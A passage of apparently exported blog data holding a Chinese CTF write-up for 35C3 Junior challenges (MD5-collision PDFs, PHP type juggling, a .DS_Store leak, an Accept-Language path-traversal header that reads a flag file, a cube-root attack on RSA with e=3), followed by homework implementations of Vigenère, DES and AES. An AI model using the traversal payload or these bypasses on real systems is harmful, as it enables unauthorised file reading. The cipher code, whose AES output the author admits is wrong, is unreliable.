do not match!\"); } echo \"$FLAG\"; } 没找到什么绕过的方法 在github上找到这个项目 1https://github.com/corkami/pocs 首先生成两个带规定字符串得pdf文件 然后利用脚本生成拥有相同md5值的pdf文件 ps:需要安装mutool环境 1brew install mupdf-tools 然后提交上去就完事了 saltfish简单的审计题 123456789101112<?php require_once('flag.php'); if ($_ = @$_GET['pass']) { $ua = $_SERVER['HTTP_USER_AGENT']; if (md5($_) + $_[0] == md5($ua)) { if ($_[0] == md5($_[0] . $flag)[0]) { echo $flag; } } } else { highlight_file(__FILE__); } _和ua使用相同的值绕过第一层if flag值不知道,但是可以推断出md5($_[0] . $flag)[0]的值为[0-f] 那么简单的爆破就可以绕过了。 McDonald先发现泄露 /backup/.DS_Store 利用工具恢复目录https://github.com/lijiejie/ds_store_exp 然后看见flag.txt http://35.207.91.38/backup/b/a/c/flag.txt Flags12345678<?php highlight_file(__FILE__); $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'ot'; $lang = explode(',', $lang)[0]; $lang = str_replace('../', '', $lang); $c = file_get_contents(\"flags/$lang\"); if (!$c) $c = file_get_contents(\"flags/ot\"); echo '<img src=\"data:image/jpeg;base64,' . base64_encode($c) . '\">'; 简单的绕过一下 1Accept-Language: ..././..././..././..././..././..././flag 然后就结束了。。 Junior - cryptoDecrypted123var key = pubkey('951477056381671188036079180681828396446164466568923964269373812360568216940258578681673755725586138473475522188240856850626984093905399964041687626629414562063470963902807801143023140969208234239276778397171817582591827008690056789763534174119863046106813515750863733543758319811194784246845138921495556311458180478538856550842509692686396679117903040148607642710832573838027274004952072516749168425434697690016707327002989407014753735313730653189661541750880855213165937564578292464379167857778759136474173425831340306919705672933486711939333953750637729967455118475408369751602538202818190663939706886093046526104043062374288648189070207772477271879494000411582080352364098957455090381238978031676375437980396931371164061080967754225429135119036489128165414029872153856547376448552882344531325480944511714482341088742350110097372766748364926941000441524157824859511557342673524388056049358362600925172299990719998873868038194555465008036497932945812845340638853399732721987228486858193979073913761760370769609347622795498987306822413134236749607735657967667902966667996797241364688793919066445360547749193845825298342626288990158730149727398354192053692360716383851051271618559075048012800235250387837052573541157845958948856954035758915157871993646182544696043757263004887914724250286341123038686355398997399922927237477691269351791943572679717263938613148630387793458838416117454016370454288153779764863162055098229903413503857354581027436855574871814478747237999617879024407403954905986969721336803258774514397600947175650242674193496614652267158753817350136305620268076457813070726099248681642612063203170442453405051455877524709366973062774037044772079720703743828695351198984334830532193564525916901461725538418714517302390850049543856542699391339075976843028654004552169277571339017161697013373622770115406681080294994790626557117129820457988045974009530185622113951540819939983153190486345031549722007896699102268137425607039925174692583738394816628508716999668221820730737934785438568198334912127263127241407430459511422030656861043544813130287622862247904749760983465608684778389799703770877931875268858524702991767450720773677639856979930404508755100624844341829896497906824520180051038779126563860453039035779455387733056343833776802716194138072528278142786901904343407377649000988142255369860324110311816186668720584468851089864315465497405748709976389375632079690963423708940060402561050963276766635011726613211018206198125893007608417148033891841809', '3')#c=650802889626540392576254226480769958677174063746262298961949406725587937603370598056914641680440287141866554424868358513810586735136666559905873773370795301824775736764582520414393058823900835653671443326759384479590622850329114068561701339992264327486363426970702107667234446480134526246514585103292832378240690398119481568246551291749012927947948046185733533974179911092159848587 发现e=3,尝试低指数攻击。 直接一波爆破 12345678910111213141516# coding:utf-8import gmpy2import libnumc=650802889626540392576254226480769958677174063746262298961949406725587937603370598056914641680440287141866554424868358513810586735136666559905873773370795301824775736764582520414393058823900835653671443326759384479590622850329114068561701339992264327486363426970702107667234446480134526246514585103292832378240690398119481568246551291749012927947948046185733533974179911092159848587n=951477056381671188036079180681828396446164466568923964269373812360568216940258578681673755725586138473475522188240856850626984093905399964041687626629414562063470963902807801143023140969208234239276778397171817582591827008690056789763534174119863046106813515750863733543758319811194784246845138921495556311458180478538856550842509692686396679117903040148607642710832573838027274004952072516749168425434697690016707327002989407014753735313730653189661541750880855213165937564578292464379167857778759136474173425831340306919705672933486711939333953750637729967455118475408369751602538202818190663939706886093046526104043062374288648189070207772477271879494000411582080352364098957455090381238978031676375437980396931371164061080967754225429135119036489128165414029872153856547376448552882344531325480944511714482341088742350110097372766748364926941000441524157824859511557342673524388056049358362600925172299990719998873868038194555465008036497932945812845340638853399732721987228486858193979073913761760370769609347622795498987306822413134236749607735657967667902966667996797241364688793919066445360547749193845825298342626288990158730149727398354192053692360716383851051271618559075048012800235250387837052573541157845958948856954035758915157871993646182544696043757263004887914724250286341123038686355398997399922927237477691269351791943572679717263938613148630387793458838416117454016370454288153779764863162055098229903413503857354581027436855574871814478747237999617879024407403954905986969721336803258774514397600947175650242674193496614652267158753817350136305620268076457813070726099248681642612063203170442453405051455877524709366973062774037044772079720703743828695351198984334830532193564525916901461725538418714517302390850049543856542699391339075976843028654004552169277571339017161697013373622770115406681080294994790626557117129820457988045974009530185622113951540819939983153190486345031549722007896699102268137425607039925174692583738394816628508716999668221820730737934785438568198334912127263127241407430459511422030656861043544813130287622862247904749760983465608684778389799703770877931875268858524702991767450720773677639856979930404508755100624844341829896497906824520180051038779126563860453039035779455387733056343833776802716194138072528278142786901904343407377649000988142255369860324110311816186668720584468851089864315465497405748709976389375632079690963423708940060402561050963276766635011726613211018206198125893007608417148033891841809e=3i = 0while True: if gmpy2.iroot(c + i * n, 3)[1] == True: print \"Success!\" m=gmpy2.iroot(c + i * n, 3)[0] print m break i += 1print libnum.n2s(m) 得到flag :35C3_OUR_CRYPTO_IS_AS_LEGIT_AS_MOST_CRYPTO_CURRENCIES","categories":[],"tags":[{"name":"wp","slug":"wp","permalink":"http://altman.vip/tags/wp/"}]},{"title":"密码学实验之手撸代码记录","slug":"密码学实验之手撸代码记录","date":"2019-01-02T11:52:28.000Z","updated":"2019-01-02T13:19:04.536Z","comments":true,"path":"2019/01/02/密码学实验之手撸代码记录/","link":"","permalink":"http://altman.vip/2019/01/02/%E5%AF%86%E7%A0%81%E5%AD%A6%E5%AE%9E%E9%AA%8C%E4%B9%8B%E6%89%8B%E6%92%B8%E4%BB%A3%E7%A0%81%E8%AE%B0%E5%BD%95/","excerpt":"前言简单记录一下密码学实验的代码,不让使用引入包,写起来还挺麻烦的。","text":"前言简单记录一下密码学实验的代码,不让使用引入包,写起来还挺麻烦的。 古典密码古典密码只写了维吉尼亚 维吉尼亚12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849# coding:utf-8# author:altman# Vigeneredef strlower(m): for i in range(0,len(m)): if( (ord(m[i])<=90) & (ord(m[i])>=65) ): m = m[:i]+chr(ord(m[i])+32)+m[i+1:] return mdef encrypto(m,key): m = strlower(m) key = strlower(key) c='' lenm = len(m) lenk = len(key) turns = lenm / lenk Remaining = lenm % lenk for i in range(0,turns): for j in range(0,lenk): c += chr(int(((ord(m[i*lenk+j])-97)+(ord(key[j])-97))%26 +97)) for i in range(0,Remaining): c += chr(int(((ord(m[turns*lenk+i])-97)+(ord(key[i])-97))%26 +97)) return cdef decrypto(c,key): c = strlower(c) key = strlower(key) m = '' lenc =len(c) lenk = len(key) turns = lenc / lenk Remaining = lenc % lenk for i in range(0, turns): for j in range(0, lenk): m += chr(int(((ord(c[i * lenk + j]) - 97) - (ord(key[j]) - 97)) % 26 + 97)) for i in range(0, Remaining): m += chr(int(((ord(c[turns * lenk + i]) - 97) - (ord(key[i]) - 97)) % 26 + 97)) return mm='justatest'key = 'altman'c = encrypto(m,key) #jflfagedmprint cm = decrypto(c,key)print m 分组密码DES这个相对比较容易 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205# coding:utf-8# author:altman# DES#密文函数def ip(str): res='' ip_box = [58, 50, 42, 34, 26, 18, 10, 2, 60, 52, 44, 36, 28, 20, 12, 4, 62, 54, 46, 38, 30, 22, 14, 6, 64, 56,48, 40, 32, 24, 16, 8, 57, 49, 41, 33, 25, 17, 9, 1, 59, 51, 43, 35, 27, 19, 11, 3, 61, 53, 45, 37,29, 21, 13, 5, 63, 55, 47, 39, 31, 23, 15, 7] for i in ip_box: res += str[i-1] return resdef _ip(str): x = \"\" box_ip = [40,8,48,16,56,24,64,32,39,7,47,15,55,23,63,31,38,6,46,14,54,22,62,30,37,5,45,13,53,21,61,29,36,4,44,12,52,20,60,28,35,3,43,11,51,19,59,27,34,2,42,10,50,18,58,26,33,1,41,9,49,17,57,25] for i in box_ip: x += str[i-1] return xdef e_box(str): e = [32,1,2,3,4,5,4,5,6,7,8,9,8,9,10,11,12,13,12,13,14,15,16,17,16,17,18,19,20,21,20,21,22,23,24,25,24,25,26,27,28,29,28,29,30,31,32,1] x = \"\" for i in e: x +=str[i-1] return xdef xor(str_a,str_b): x = \"\" len_str= len(str_a) for i in range(0,len_str): res = int(str_a[i])^int(str_b[i]) if res == 1: x +='1' else: x +='0' return xdef s_box(str): s = [[14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7, 0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8, 4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0, 15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13], [15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10, 3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5, 0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15, 13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9], [10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8, 13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1, 13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7, 1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12], [7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15, 13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9, 10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4, 3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14], [2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9, 14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6, 4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14, 11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3], [12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11, 10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8, 9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6, 4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13], [4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1, 13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6, 1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2, 6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12], [13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7, 1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2, 7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8, 2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11]] k = 0 x = '' for i in range(0,len(str),6): a = str[i:i+6] n = s[k][16*int((a[0]+a[5]),2)+int((a[1:5]),2)] n = bin(n)[2:] k += 1 while(4-len(n)): n = '0' + n x += n return xdef p_box(str): x = \"\" p = [16,7,20,21,29,12,28,17,1,15,23,26,5,18,31,10,2,8,24,14,32,27,3,9,19,13,30,6,22,11,4,25] for i in p: x +=str[i-1] return xdef F(str,key): e_res = e_box(str) xor_res = xor(e_res,key) s_res = s_box(xor_res) p_res = p_box(s_res) return p_res#密钥函数def pc_1(str): pc1 = [57,49,41,33,25,17,9,1,58,50,42,34,26,18,10,2,59,51,43,35,27,19,11,3,60,52,44,36,63,55,47,39,31,23,15,7,62,54,46,38,30,22,14,6,61,53,45,37,29,21,13,5,28,20,12,4] x = \"\" for i in pc1: x+=str[i-1] return xdef pc_2(str): pc2 = [14,17,11,24,1,5,3,28,15,6,21,10,23,19,12,4,26,8,16,7,27,20,13,2,41,52,31,37,47,55,30,40,51,45,33,48,44,49,39,56,34,53,46,42,50,36,29,32] x = \"\" for i in pc2: x+=str[i-1] return xdef left(str,n): x = str[0:n] x = str[n:len(str)] + x return xdef key_16(str): key = pc_1(str) key_c = key[:28] key_d = key[28:] key_final=[] for i in range(0,16): k= i+1 if k in [1,2,9,16]: key_c = left(key_c, 1) key_d = left(key_d, 1) else: key_c = left(key_c, 2) key_d = left(key_d, 2) key_x = key_c + key_d key_x = pc_2(key_x) key_final.append(key_x) return key_finaldef str2bin(str): res = '' for i in str: x = bin(ord(i))[2:] for i in range(0,8-len(x)): x = '0' + x res += x return resdef bin2str(str): res = '' for i in range(0,len(str),8): x = str[i:i+8] x = int(x,2) res += chr(x) return resdef bin2hex(str): res = '' for i in range(0,len(str),8): x = str[i:i+8] x = int(x,2) res += chr(x) res = res.encode('hex') return resdef hex2bin(str): str = str.decode('hex') res = str2bin(str) return resdef encrypto(str,key):#输入字符串,返回16进制密文 c = '' k = 0 while(str[k:k+8]): m = str2bin(str[0:8]) m = ip(m) m_l = m[:32] m_r = m[32:] key = str2bin(key) key = key_16(key) for i in range(0, 15): tmp = m_r m_r = xor(m_l, F(m_r, key[i])) m_l = tmp m_l = xor(m_l, F(m_r, key[15])) m_final = m_l + m_r m_final = _ip(m_final) c += m_final c = bin2hex(c) k += 8 return cdef decrypto(str,key):#输入16进制密文,返回字符串明文 m = '' i = 0 while (str[i:i + 16]): c = hex2bin(str[i:i + 16]) key = str2bin(key) key = key_16(key) c = ip(c) c_l = c[:32] c_r = c[32:] for k in range(15,0,-1): tmp = c_r c_r = xor(c_l, F(c_r, key[k])) c_l = tmp c_l = xor(c_l, F(c_r, key[0])) c_final = c_l + c_r c_final = _ip(c_final) m += c_final i += 16 return bin2str(m)m='cumtcumt'key='altmannb'c='b171ccf168f7c7dd'print encrypto(m,key)print decrypto(c,key) AESaes写的我有点恶心,而且最后的加密结果和网上在线加密的不太一样,但是也实现了加密解密 至今未找到问题,有大佬发现了可以教我下。。。 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788# coding:utf-8# author:altman# 伽罗华域以及一些转换函数def str2bin(str): res = '' for i in str: x = bin(ord(i))[2:] for i in range(0,8-len(x)): x = '0' + x res += x return resdef str2hex(str): res = '' for i in str: x = hex(ord(i))[2:] for i in range(0,2-len(x)): x = '0' + x res += x return res.upper()def hex2bin(str): str = str.decode('hex') res = str2bin(str) return resdef G2(str): str = hex2bin(str) str = str[1:len(str)]+'0' str = hex(int(str,2))[2:].upper() if len(str)!=2: for i in range(0,2-len(str)): str = '0'+str return strdef G4(str): str = hex2bin(str) str = str[2:len(str)]+'00' str = hex(int(str,2))[2:].upper() if len(str)!=2: for i in range(0,2-len(str)): str = '0'+str return strdef G8(str): str = hex2bin(str) str = str[3:len(str)]+'000' str = hex(int(str,2))[2:].upper() if len(str)!=2: for i in range(0,2-len(str)): str = '0'+str return strdef G(str1,str2): if str1 == \"01\": return str2.upper() elif str1 == \"02\": return G2(str2) elif str1 == \"03\": tmp = hex(int(G2(str2),16)^int(str2,16))[2:] if len(tmp) != 2: for i in range(0, 2 - len(tmp)): tmp = '0' + tmp return tmp.upper() elif str1 == \"09\": tmp = hex(int(G8(str2), 16) ^ int(str2, 16))[2:] if len(tmp) != 2: for i in range(0, 2 - len(tmp)): tmp = '0' + tmp return tmp.upper() elif str1 == \"0B\": tmp = hex(int(G8(str2), 16) ^ int(G2(str2), 16)^int(str2, 16))[2:] if len(tmp) != 2: for i in range(0, 2 - len(tmp)): tmp = '0' + tmp return tmp.upper() elif str1 == \"0D\": tmp = hex(int(G8(str2), 16) ^ int(G4(str2), 16) ^ int(str2, 16))[2:] if len(tmp) != 2: for i in range(0, 2 - len(tmp)): tmp = '0' + tmp return tmp.upper() elif str1 == \"0E\": tmp = hex(int(G8(str2), 16) ^ int(G4(str2), 16) ^ int(G2(str2), 16))[2:] if len(tmp) != 2: for i in range(0, 2 - len(tmp)): tmp = '0' + tmp return tmp.upper() 下面是主函数,需要import上面的文件 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208# coding:utf-8# author:altman# AES (len(key)==128 & turn==10)from galois import *# 字节代换def S_box(str): x = \"\" s = {\"00\":\"63\",\"01\":\"7C\",\"02\":\"77\",\"03\":\"7B\",\"04\":\"F2\",\"05\":\"6B\",\"06\":\"6F\",\"07\":\"C5\",\"08\":\"30\",\"09\":\"01\",\"0A\":\"67\",\"0B\":\"2B\",\"0C\":\"FE\",\"0D\":\"D7\",\"0E\":\"AB\",\"0F\":\"76\",\"10\":\"CA\",\"11\":\"82\",\"12\":\"C9\",\"13\":\"7D\",\"14\":\"FA\",\"15\":\"59\",\"16\":\"47\",\"17\":\"F0\",\"18\":\"AD\",\"19\":\"D4\",\"1A\":\"A2\",\"1B\":\"AF\",\"1C\":\"9C\",\"1D\":\"A4\",\"1E\":\"72\",\"1F\":\"C0\",\"20\":\"B7\",\"21\":\"FD\",\"22\":\"93\",\"23\":\"26\",\"24\":\"36\",\"25\":\"3F\",\"26\":\"F7\",\"27\":\"CC\",\"28\":\"34\",\"29\":\"A5\",\"2A\":\"E5\",\"2B\":\"F1\",\"2C\":\"71\",\"2D\":\"D8\",\"2E\":\"31\",\"2F\":\"15\",\"30\":\"04\",\"31\":\"C7\",\"32\":\"23\",\"33\":\"C3\",\"34\":\"18\",\"35\":\"96\",\"36\":\"05\",\"37\":\"9A\",\"38\":\"07\",\"39\":\"12\",\"3A\":\"80\",\"3B\":\"E2\",\"3C\":\"EB\",\"3D\":\"27\",\"3E\":\"B2\",\"3F\":\"75\",\"40\":\"09\",\"41\":\"83\",\"42\":\"2C\",\"43\":\"1A\",\"44\":\"1B\",\"45\":\"6E\",\"46\":\"5A\",\"47\":\"A0\",\"48\":\"52\",\"49\":\"3B\",\"4A\":\"D6\",\"4B\":\"B3\",\"4C\":\"29\",\"4D\":\"E3\",\"4E\":\"2F\",\"4F\":\"84\",\"50\":\"53\",\"51\":\"D1\",\"52\":\"00\",\"53\":\"ED\",\"54\":\"20\",\"55\":\"FC\",\"56\":\"B1\",\"57\":\"5B\",\"58\":\"6A\",\"59\":\"CB\",\"5A\":\"BE\",\"5B\":\"39\",\"5C\":\"4A\",\"5D\":\"4C\",\"5E\":\"58\",\"5F\":\"CF\",\"60\":\"D0\",\"61\":\"EF\",\"62\":\"AA\",\"63\":\"FB\",\"64\":\"43\",\"65\":\"4D\",\"66\":\"33\",\"67\":\"85\",\"68\":\"45\",\"69\":\"F9\",\"6A\":\"02\",\"6B\":\"7F\",\"6C\":\"50\",\"6D\":\"3C\",\"6E\":\"9F\",\"6F\":\"A8\",\"70\":\"51\",\"71\":\"A3\",\"72\":\"40\",\"73\":\"8F\",\"74\":\"92\",\"75\":\"9D\",\"76\":\"38\",\"77\":\"F5\",\"78\":\"BC\",\"79\":\"B6\",\"7A\":\"DA\",\"7B\":\"21\",\"7C\":\"10\",\"7D\":\"FF\",\"7E\":\"F3\",\"7F\":\"D2\",\"80\":\"CD\",\"81\":\"0C\",\"82\":\"13\",\"83\":\"EC\",\"84\":\"5F\",\"85\":\"97\",\"86\":\"44\",\"87\":\"17\",\"88\":\"C4\",\"89\":\"A7\",\"8A\":\"7E\",\"8B\":\"3D\",\"8C\":\"64\",\"8D\":\"5D\",\"8E\":\"19\",\"8F\":\"73\",\"90\":\"60\",\"91\":\"81\",\"92\":\"4F\",\"93\":\"DC\",\"94\":\"22\",\"95\":\"2A\",\"96\":\"90\",\"97\":\"88\",\"98\":\"46\",\"99\":\"EE\",\"9A\":\"B8\",\"9B\":\"14\",\"9C\":\"DE\",\"9D\":\"5E\",\"9E\":\"0B\",\"9F\":\"DB\",\"A0\":\"E0\",\"A1\":\"32\",\"A2\":\"3A\",\"A3\":\"0A\",\"A4\":\"49\",\"A5\":\"06\",\"A6\":\"24\",\"A7\":\"5C\",\"A8\":\"C2\",\"A9\":\"D3\",\"AA\":\"AC\",\"AB\":\"62\",\"AC\":\"91\",\"AD\":\"95\",\"AE\":\"E4\",\"AF\":\"79\",\"B0\":\"E7\",\"B1\":\"C8\",\"B2\":\"37\",\"B3\":\"6D\",\"B4\":\"8D\",\"B5\":\"D5\",\"B6\":\"4E\",\"B7\":\"A9\",\"B8\":\"6C\",\"B9\":\"56\",\"BA\":\"F4\",\"BB\":\"EA\",\"BC\":\"65\",\"BD\":\"7A\",\"BE\":\"AE\",\"BF\":\"08\",\"C0\":\"BA\",\"C1\":\"78\",\"C2\":\"25\",\"C3\":\"2E\",\"C4\":\"1C\",\"C5\":\"A6\",\"C6\":\"B4\",\"C7\":\"C6\",\"C8\":\"E8\",\"C9\":\"DD\",\"CA\":\"74\",\"CB\":\"1F\",\"CC\":\"4B\",\"CD\":\"BD\",\"CE\":\"8B\",\"CF\":\"8A\",\"D0\":\"70\",\"D1\":\"3E\",\"D2\":\"B5\",\"D3\":\"66\",\"D4\":\"48\",\"D5\":\"03\",\"D6\":\"F6\",\"D7\":\"0E\",\"D8\":\"61\",\"D9\":\"35\",\"DA\":\"57\",\"DB\":\"B9\",\"DC\":\"86\",\"DD\":\"C1\",\"DE\":\"1D\",\"DF\":\"9E\",\"E0\":\"E1\",\"E1\":\"F8\",\"E2\":\"98\",\"E3\":\"11\",\"E4\":\"69\",\"E5\":\"D9\",\"E6\":\"8E\",\"E7\":\"94\",\"E8\":\"9B\",\"E9\":\"1E\",\"EA\":\"87\",\"EB\":\"E9\",\"EC\":\"CE\",\"ED\":\"55\",\"EE\":\"28\",\"EF\":\"DF\",\"F0\":\"8C\",\"F1\":\"A1\",\"F2\":\"89\",\"F3\":\"0D\",\"F4\":\"BF\",\"F5\":\"E6\",\"F6\":\"42\",\"F7\":\"68\",\"F8\":\"41\",\"F9\":\"99\",\"FA\":\"2D\",\"FB\":\"0F\",\"FC\":\"B0\",\"FD\":\"54\",\"FE\":\"BB\",\"FF\":\"16\"} for i in range(0,len(str),2): x += s[str[i:i+2]] return xdef _S_box(str): x = \"\" s = {\"00\":\"52\",\"01\":\"09\",\"02\":\"6A\",\"03\":\"D5\",\"04\":\"30\",\"05\":\"36\",\"06\":\"A5\",\"07\":\"38\",\"08\":\"BF\",\"09\":\"40\",\"0A\":\"A3\",\"0B\":\"9E\",\"0C\":\"81\",\"0D\":\"F3\",\"0E\":\"D7\",\"0F\":\"FB\",\"10\":\"7C\",\"11\":\"E3\",\"12\":\"39\",\"13\":\"82\",\"14\":\"9B\",\"15\":\"2F\",\"16\":\"FF\",\"17\":\"87\",\"18\":\"34\",\"19\":\"8E\",\"1A\":\"43\",\"1B\":\"44\",\"1C\":\"C4\",\"1D\":\"DE\",\"1E\":\"E9\",\"1F\":\"CB\",\"20\":\"54\",\"21\":\"7B\",\"22\":\"94\",\"23\":\"32\",\"24\":\"A6\",\"25\":\"C2\",\"26\":\"23\",\"27\":\"3D\",\"28\":\"EE\",\"29\":\"4C\",\"2A\":\"95\",\"2B\":\"0B\",\"2C\":\"42\",\"2D\":\"FA\",\"2E\":\"C3\",\"2F\":\"4E\",\"30\":\"08\",\"31\":\"2E\",\"32\":\"A1\",\"33\":\"66\",\"34\":\"28\",\"35\":\"D9\",\"36\":\"24\",\"37\":\"B2\",\"38\":\"76\",\"39\":\"5B\",\"3A\":\"A2\",\"3B\":\"49\",\"3C\":\"6D\",\"3D\":\"8B\",\"3E\":\"D1\",\"3F\":\"25\",\"40\":\"72\",\"41\":\"F8\",\"42\":\"F6\",\"43\":\"64\",\"44\":\"86\",\"45\":\"68\",\"46\":\"98\",\"47\":\"16\",\"48\":\"D4\",\"49\":\"A4\",\"4A\":\"5C\",\"4B\":\"CC\",\"4C\":\"5D\",\"4D\":\"65\",\"4E\":\"B6\",\"4F\":\"92\",\"50\":\"6C\",\"51\":\"70\",\"52\":\"48\",\"53\":\"50\",\"54\":\"FD\",\"55\":\"ED\",\"56\":\"B9\",\"57\":\"DA\",\"58\":\"5E\",\"59\":\"15\",\"5A\":\"46\",\"5B\":\"57\",\"5C\":\"A7\",\"5D\":\"8D\",\"5E\":\"9D\",\"5F\":\"84\",\"60\":\"90\",\"61\":\"D8\",\"62\":\"AB\",\"63\":\"00\",\"64\":\"8C\",\"65\":\"BC\",\"66\":\"D3\",\"67\":\"0A\",\"68\":\"F7\",\"69\":\"E4\",\"6A\":\"58\",\"6B\":\"05\",\"6C\":\"B8\",\"6D\":\"B3\",\"6E\":\"45\",\"6F\":\"06\",\"70\":\"D0\",\"71\":\"2C\",\"72\":\"1E\",\"73\":\"8F\",\"74\":\"CA\",\"75\":\"3F\",\"76\":\"0F\",\"77\":\"02\",\"78\":\"C1\",\"79\":\"AF\",\"7A\":\"BD\",\"7B\":\"03\",\"7C\":\"01\",\"7D\":\"13\",\"7E\":\"8A\",\"7F\":\"6B\",\"80\":\"3A\",\"81\":\"91\",\"82\":\"11\",\"83\":\"41\",\"84\":\"4F\",\"85\":\"67\",\"86\":\"DC\",\"87\":\"EA\",\"88\":\"97\",\"89\":\"F2\",\"8A\":\"CF\",\"8B\":\"CE\",\"8C\":\"F0\",\"8D\":\"B4\",\"8E\":\"E6\",\"8F\":\"73\",\"90\":\"96\",\"91\":\"AC\",\"92\":\"74\",\"93\":\"22\",\"94\":\"E7\",\"95\":\"AD\",\"96\":\"35\",\"97\":\"85\",\"98\":\"E2\",\"99\":\"F9\",\"9A\":\"37\",\"9B\":\"E8\",\"9C\":\"1C\",\"9D\":\"75\",\"9E\":\"DF\",\"9F\":\"6E\",\"A0\":\"47\",\"A1\":\"F1\",\"A2\":\"1A\",\"A3\":\"71\",\"A4\":\"1D\",\"A5\":\"29\",\"A6\":\"C5\",\"A7\":\"89\",\"A8\":\"6F\",\"A9\":\"B7\",\"AA\":\"62\",\"AB\":\"0E\",\"AC\":\"AA\",\"AD\":\"18\",\"AE\":\"BE\",\"AF\":\"1B\",\"B0\":\"FC\",\"B1\":\"56\",\"B2\":\"3E\",\"B3\":\"4B\",\"B4\":\"C6\",\"B5\":\"D2\",\"B6\":\"79\",\"B7\":\"20\",\"B8\":\"9A\",\"B9\":\"DB\",\"BA\":\"C0\",\"BB\":\"FE\",\"BC\":\"78\",\"BD\":\"CD\",\"BE\":\"5A\",\"BF\":\"F4\",\"C0\":\"1F\",\"C1\":\"DD\",\"C2\":\"A8\",\"C3\":\"33\",\"C4\":\"88\",\"C5\":\"07\",\"C6\":\"C7\",\"C7\":\"31\",\"C8\":\"B1\",\"C9\":\"12\",\"CA\":\"10\",\"CB\":\"59\",\"CC\":\"27\",\"CD\":\"80\",\"CE\":\"EC\",\"CF\":\"5F\",\"D0\":\"60\",\"D1\":\"51\",\"D2\":\"7F\",\"D3\":\"A9\",\"D4\":\"19\",\"D5\":\"B5\",\"D6\":\"4A\",\"D7\":\"0D\",\"D8\":\"2D\",\"D9\":\"E5\",\"DA\":\"7A\",\"DB\":\"9F\",\"DC\":\"93\",\"DD\":\"C9\",\"DE\":\"9C\",\"DF\":\"EF\",\"E0\":\"A0\",\"E1\":\"E0\",\"E2\":\"3B\",\"E3\":\"4D\",\"E4\":\"AE\",\"E5\":\"2A\",\"E6\":\"F5\",\"E7\":\"B0\",\"E8\":\"C8\",\"E9\":\"EB\",\"EA\":\"BB\",\"EB\":\"3C\",\"EC\":\"83\",\"ED\":\"53\",\"EE\":\"99\",\"EF\":\"61\",\"F0\":\"17\",\"F1\":\"2B\",\"F2\":\"04\",\"F3\":\"7E\",\"F4\":\"BA\",\"F5\":\"77\",\"F6\":\"D6\",\"F7\":\"26\",\"F8\":\"E1\",\"F9\":\"69\",\"FA\":\"14\",\"FB\":\"63\",\"FC\":\"55\",\"FD\":\"21\",\"FE\":\"0C\",\"FF\":\"7D\"} for i in range(0, len(str), 2): x += s[str[i:i+2]] return x#行移位def move(str): x = '' j=0 for i in range(0,len(str),8): x += (str[i+j*2:i+8]+str[i:i+j*2]) if j == 3: j = 0 else: j += 1 return xdef _move(str): x = '' j=0 for i in range(0,len(str),8): x += (str[i+(8-j*2):i+8]+str[i:i+(8-j*2)]) if j == 3: j = 0 else: j += 1 return xdef str2bin(str): res = '' for i in str: x = bin(ord(i))[2:] for i in range(0,8-len(x)): x = '0' + x res += x return resdef hex2bin(str): str = str.decode('hex') res = str2bin(str) return res#列混合def str2matrix(str):#转矩阵 matrix = [[0 for i in range(4)] for i in range(4)] for i in 